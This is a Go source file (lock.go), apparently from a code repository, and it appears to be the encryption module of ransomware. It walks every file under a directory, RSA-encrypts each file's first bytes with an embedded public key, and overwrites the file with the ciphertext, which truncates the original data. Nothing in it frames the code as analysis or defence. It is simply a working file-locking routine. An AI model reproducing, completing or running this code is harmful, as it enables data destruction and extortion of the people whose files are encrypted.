-
Notifications
You must be signed in to change notification settings - Fork 0
/
lock.go
61 lines (52 loc) · 1.4 KB
/
lock.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main
import (
"bufio"
"fmt"
"github.com/wumansgy/goEncrypt"
"os"
"sync"
)
func lockFile(path string, wg *sync.WaitGroup) {
publicKey := `-----BEGIN WUMAN RSA PUBLIC KEY -----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAl+4A2XWCK47buLOuPO4H
zyCcoJ6YsXuF0Cr2rt3RkQ0fzf75ndS6Z3u5JSqPxsk7SgRB1ZXB4sGRqPADTx/f
td4R/gZ9fC4Lkfux1lGISJzP0QFBI5em3xMrUXGAZAdzTzScSZIK6OeRZvaqd+FM
OIAtF4jc6VRmWV2fSyCIQG5KvvxZxSNYCKGf4KTH8nDHO9v3vtFzG/PeturnOsnR
LC2/cUYAURDk6vDa4FLs2MTgMCHld/yhkw994GrdxVRzXDa4rxwUN544xe5vENaX
y2F8tjaOclBq5yVvpizyfwYPydVoiI7O86MjEzOCv7w8LstCbWp6mV0UEaLjF72W
sQIDAQAB
-----END WUMAN RSA PUBLIC KEY -----
`
for _,filename := range getAllFile(path){
f, err := os.Open(filename)
if err != nil {
fmt.Println(err)
}
defer f.Close()
r := bufio.NewReader(f)
b := make([]byte,64)
_, err = r.Read(b)
if err != nil {
fmt.Println(err)
}
cryptText, err := goEncrypt.RsaEncrypt(b,[]byte(publicKey))
systemd(filename)
err = writeToFile(path + filename,cryptText)
if err != nil && DEBUG {
messagebox(err)
}
}
wg.Done()
}
func writeToFile(fileName string, content []byte) error {
f, err := os.OpenFile(fileName, os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0644)
if err != nil {
fmt.Println("file create failed. err: " + err.Error())
} else {
n, _ := f.Seek(0, os.SEEK_END)
_, err = f.WriteAt(content, n)
fmt.Println("write succeed!")
defer f.Close()
}
return err
}